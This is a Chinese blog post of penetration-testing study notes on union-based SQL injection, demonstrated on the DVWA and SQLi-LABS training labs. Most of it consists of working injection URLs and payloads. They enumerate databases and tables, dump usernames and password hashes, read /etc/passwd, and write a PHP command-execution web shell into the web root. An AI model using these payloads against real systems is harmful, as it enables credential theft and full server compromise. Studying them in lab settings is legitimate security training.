学习笔记-渗透测试-SQL注入_002_回显注入

1 显注

显注通常采取union联合SQL语句的方式进行,又称为union联合注入

1.1 union操作符介绍

在注入中有一个函数叫做union,作用是联合查询,常被用于数据库注入

select username,password from users where id=1 union select 1,version();

这里需要注意的是,我们要符合列数对应,两列内容必须对应两列,否则就会报错

image-20200628002147578

所以我们这里添加单独查询1(查询1会直接返回1)来占位,结果第一行返回了id=1的username,password和第二行返回了查询1的结果和mysql版本号

image-20200628003033628

为了更直观的演示,我们打开SQLi-LABS Less-1的index.php,直接跳转到20行与29行

image-20200628005128225

我们发现在20行获取了传入id之后,没有经过任何的处理,就直接把放进了sql语句中进行应用,并且在33行开始返回结果

如果我们正常传入数字id的话,将会输出id所对应的username和password的值

image-20200628094046738

limit 0,1指的是从第0条开始返回一条记录

我们现在已知传入时候代码会被无过滤的放到id=的后面,所以我们构造一个联合查询,查询版本号,同时将' limit 0,1使用注释符注释

select * from users where id='1' union select version(),1,2;#' limit 0,1;

image-20200628100611206

我们在浏览器中构造url

http://127.0.0.1/Less-1/?id=1%27%20union%20select%20version(),1,2;%23

因为#通常会用在编码中,所以直接使用#会报错,%23是#的编码

image-20200628101556676

我们发现语句被正常执行了,但是由于网页输出只输出一行的原因没能被输出出来

那我们就让第一行报错,报错就不执行了,而且数据库第一列是id,网页中也是不输出的,所以我们把他version()和1换个位置

重新构造URL

http://127.0.0.1/Less-1/?id=-1%27%20union%20select%201,version(),2;%23

输出成功

image-20200628101926282

大致流程如下图

image-20200627173107083

1.2 union注入应用场景

union注入是有一定的前提条件的

  • 只要UNION连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
  • 注入点页面需要有回显

注意点

  • order by 语句需要放在最后一个select语句中
  • limit 语句也需要放在最后一个select语句中

1.3 union注入过程

  1. order by确定列数
  2. 观察页面返回,选取可以显示数据的位置,进行下一步注入
  3. 读库、表、字段、数据、及任意相关语句

2 案例1

以DVWA靶场为例,在登录后将安全级别设置为low(安全级别为低)

DVWA 默认用户 admin 密码 password
image-20230108213709992

并且在关卡页面点击右下角ViewSource可查看当前关卡源代码

image-20230109121838687

2.1 查找注入点

2023010901

找到SQl Injection 选项,测试是否存在注入点,这里用户交互的地方为表单,这也是常见的SQL注入漏洞存在的地方。正常测试,输入1输入2都可以正常得到结果,但当输入变为1'时,表单提示错误,我们就可以确定该处是参与SQL语句的组成部分,基本可以确定有注入漏洞

经过推测,该程序中查询的SQL语句应该是

select * from XXX where id='1'

在经过我们测试时,语句被修改为了

select * from XXX where id='1''

如此,这个搜索语句多余一个引号,会引发报错。同时,这也代表了,攻击者是可以对原有程序进行拼接与注入的,只要尽力构造攻击语句,就可以对后端数据库为所欲为

tips:
问:如果在web页面中输入1',website返回500的状态码,能否确定为SQL注入?
答:不能,虽然同为报错,但500是指服务器内部错误,并不能证明传入语句参与了SQL命令执行

为了进一步确认我们能否自如的操作后端数据库,我们以此构造插入如下语句:

1' and 1=1#
1' and 1=2#

那么理想中,第一条语句1=1结果为True,应该能够正常返回数据,而1=2结果为False,则应该不能返回数据

select * from XXX where id='1' and 1=1#'
select * from XXX where id='1' and 1=2#'

2023010902

由此我们确认了,这个漏洞真实存在,而且后续有可以完全被攻击者操作

我们通过查看源代码的方式,能够清楚的发现SQL注入发生的原由

<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) { # 1.点击确认按钮
    $id = $_REQUEST[ 'id' ];	# 2.获取到id的参数
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            # 3.直接将获取的id参数的变量$id 直接带入SQL语句中(漏洞产生原因)
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            # 4.执行SQL语句
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            while( $row = mysqli_fetch_assoc( $result ) ) {
                # 5.将SQL查询结果进行分割
                $first = $row["first_name"];
                $last  = $row["last_name"];
                # 6.直接将结果进行输出
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }
            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;
        case SQLITE:
            global $sqlite_db_connection;
            #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
            #$sqlite_db_connection->enableExceptions(true);
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            #print $query;
            try {
                $results = $sqlite_db_connection->query($query);
            } catch (Exception $e) {
                echo 'Caught exception: ' . $e->getMessage();
                exit();
            }
            if ($results) {
                while ($row = $results->fetchArray()) {
                    // Get values
                    $first = $row["first_name"];
                    $last  = $row["last_name"];
                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }
            } else {
                echo "Error in fetch ".$sqlite_db->lastErrorMsg();
            }
            break;
    } 
}
?>

2.2 判断字段数量

为了方便构造SQL注入语句,我们首先需要判断字段数量

# order by 排序
1' order by 2#
# 当order by number 小于等于 字段数时,排序工作可正常进行
# 当order by number 大于	字段数时,数据库会报错

2023010903

order by numbernumber等于1和2均没有报错,而3报错,说明字段数为2

2.3 判断回显点

在通过sql注入漏洞查询数据之前,我们需要判断查询的数据会被回显到哪里

1' and 1=2 union select 1,2#

由于提前知道字段数为2,所以select 1,2即可判断全部字段在页面中对应

image-20230109161742566

First name对应位置1Surname对应位置2

2.4 数据库用户,当前数据库

First name对应数据库用户,Surname对应当前数据库

1' and 1=2 union select user(),database()#

image-20230109124326333

2.5 查询数据库版本

注意,在数据库查询时,字段有多少条,都必须占位,否则会报错

# 联合查询前数据可以直接用空数据占位,就不需要再做and 1=2了
' union select 1,version()#

image-20230109162647139

2.6 查询操作系统信息

' union select 1,@@global.version_compile_os from mysql.user#

image-20230109162629069

2.7 获取数据库元数据

在mysql5.0之后版本以及Mariadb数据库中有information_schema数据库,它存储了数据库的元数据,例如数据库名、表名、列的数据类型、访问权限等信息

information_schema 库中的SCHEMATA表存储了数据库中的所有库信息,TABLES表存储数据库中的表信息,包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息。COLUMNS 表存储表中的列信息,包括表有多少列、每个列的类型等

构造以下语句可以查到所有的库名

' union select 1,schema_name from information_schema.schemata #

image-20230109163043459

构造以下语句可以查到DVWA库的表名

' union select 1,table_name from information_schema.tables where table_schema='dvwa' # 

image-20230109163650865

构造以下语句可以查到DVWA库users表的列名

' union select 1, column_name from information_schema.columns where table_schema='dvwa' and table_name='users' # 

image-20230109164048526

2.8 查询具体的数据

# 例如 查询dvwa库users表的user,password字段
' union select user,password from dvwa.users #

image-20230109164333990

得到的密码通常为经过md5加密后的值,可以尝试进行在线解密,https://www.cmd5.com/

image-20230109164524985

3 案例2

3.1 查找注入点

# 正常显示
http://192.168.0.102:81/Less-1/?id=1
# 报错
http://192.168.0.102:81/Less-1/?id=1'
# 正常显示
http://192.168.0.102:81/Less-1/?id=1' and '1'='1
# 不显示
http://192.168.0.102:81/Less-1/?id=1' and '1'='2

2023011601

3.2 判断字段数量

http://192.168.0.102:81/Less-1/?id=1' order by 3 -- #

使用order by排序来猜数据表有多少列,如果order by大于列数,则会报错,这里3返回正常,4返回如下,说明有3列

2023011602

3.3 判断回显点

http://192.168.0.102:81/Less-1/?id=-1 union select 1,2,3 -- #

需要原始查询数据不显示,故,查询id=-1,联合查询才能被看到

image-20230116004118171

3.4 查询数据库列表

http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata -- +

image-20230116010006024

通常数据库不止一条,但此处只有一个显示点

3.4.1 使用limit限制输出一条一条查询

http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 1,1 -- +

limit(序号,个数)

image-20230116010601255

3.4.2 使用group_concat将结果组合成一条进行输出

http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata -- + 

image-20230116010802091

3.5 查询数据表名

# 查询security库表名
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- + 

# 查询当前数据库表名
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- + 

# 数据库名可使用十六进制表示
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 -- + 

image-20230116011238420

3.6 查询列明

# 查询users表的列名
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- + 
# 可使用十六进制
http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 -- + 

image-20230116011458648

3.7 查询表单内容

http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 0,1 -- + 

表单内容不止一行,所以会导致显示不出来的问题,使用group_concat的,但会导致username和password连到一块儿不好分辨,于是乎就使用concat_ws中间插入~符号进行username和password的分割,但情况又出现了concat_ws分割后还是多条数据,只能使用limit进行一行一行的查看

image-20230116011721937

还有一种强行使用group_concat的方式,把分隔符加载username和password中间

http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,group_concat(username,'~',password) from security.users limit 0,1 -- +

3.8 获取当前用户,数据库版本

http://192.168.0.102:81/Less-1/?id=-1' union select 1,user(),version() -- +

image-20230116011950225

3.9 写文件

http://192.168.0.102:81/Less-1/?id=-1' union select 1,2,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "aaa.php"-- #

使用sql注入向网页目录写一个一句话木马

image-20230116020507666

3.8 读文件

http://192.168.0.102:81/Less-1/?id=-1' and 1=2 union select 1,2,load_file('/etc/passwd'); -- + 

image-20230116020940140

偶尔会出现文件已经读取,但页面中不显示的情况,则鼠标右键打开查看网页源代码即可

posted @ 2023-02-26 23:08  kinghtxg  阅读(646)  评论(0编辑  收藏  举报